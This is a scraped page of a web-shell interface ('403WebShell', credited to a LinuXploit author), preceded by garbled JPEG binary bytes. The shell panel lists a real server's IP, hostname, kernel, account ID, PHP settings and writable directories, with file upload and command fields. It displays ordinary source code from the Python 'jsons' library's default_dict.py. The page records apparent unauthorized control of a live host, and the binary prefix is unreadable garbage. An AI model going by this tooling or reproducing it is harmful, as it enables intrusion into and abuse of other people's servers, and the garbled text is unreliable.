JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.69  /  Your IP : 216.73.217.1
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python311/lib/python3.11/site-packages/jsons/serializers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python311/lib/python3.11/site-packages/jsons/serializers/default_dict.py
from typing import Callable, Dict, Optional, Tuple

from jsons._common_impl import JSON_KEYS
from jsons._dump_impl import dump


def default_dict_serializer(
        obj: dict,
        cls: Optional[type] = None,
        *,
        strict: bool = False,
        strip_nulls: bool = False,
        key_transformer: Optional[Callable[[str], str]] = None,
        types: Optional[Dict[str, type]] = None,
        **kwargs) -> dict:
    """
    Serialize the given ``obj`` to a dict of serialized objects.
    :param obj: the dict that is to be serialized.
    :param cls: not used.
    :param strict: if ``True`` the serialization will raise upon any the
    failure of any attribute. Otherwise it continues with a warning.
    :param strict: a bool to determine if the serializer should be strict
    (i.e. only dumping stuff that is known to ``cls``).
    :param strip_nulls: if ``True`` the resulting dict will not contain null
    values.
    :param key_transformer: a function that will be applied to all keys in the
    resulting dict.
    :param types: a ``dict`` with attribute names (keys) and their types
    (values).
    :param kwargs: any keyword arguments that may be given to the serialization
    process.
    :return: a dict of which all elements are serialized.
    """
    result = dict()
    types = types or dict()
    for key in obj:
        obj_ = obj[key]
        cls_ = types.get(key, None)

        # If key is not a valid json type, use the hash as key and store the
        # original key in a separate section.
        dict_and_key = _store_and_hash(result, key,
                                       key_transformer=key_transformer,
                                       strip_nulls=strip_nulls, strict=strict,
                                       types=types, **kwargs)
        if dict_and_key:
            result, key = dict_and_key

        dumped_elem = dump(obj_,
                           cls=cls_,
                           key_transformer=key_transformer,
                           strip_nulls=strip_nulls,
                           strict=strict,
                           **kwargs)
        if not (strip_nulls and dumped_elem is None):
            if key_transformer:
                key = key_transformer(key)
            result[key] = dumped_elem
    return result


def _store_and_hash(
        obj: dict,
        key: object,
        **kwargs
) -> Optional[Tuple[dict, int]]:
    # Store the given key in the given dict under a special section if that
    # key is not a valid json key. Return a hash of that key.
    result = None
    if not _is_valid_json_key(key):
        # First try to dump the key, that might be enough already.
        dumped_key = dump(key, **kwargs)
        result = obj, dumped_key
        if not _is_valid_json_key(dumped_key):
            # Apparently, this was not enough; the key is still not "jsonable".
            key_hash = hash(key)
            obj_ = {**obj}
            obj_.setdefault('-keys', {})
            obj_['-keys'][key_hash] = dumped_key
            result = obj_, key_hash
    return result


def _is_valid_json_key(key: object) -> bool:
    return any(issubclass(type(key), json_key) for json_key in JSON_KEYS)

Youez - 2016 - github.com/yon3zu
LinuXploit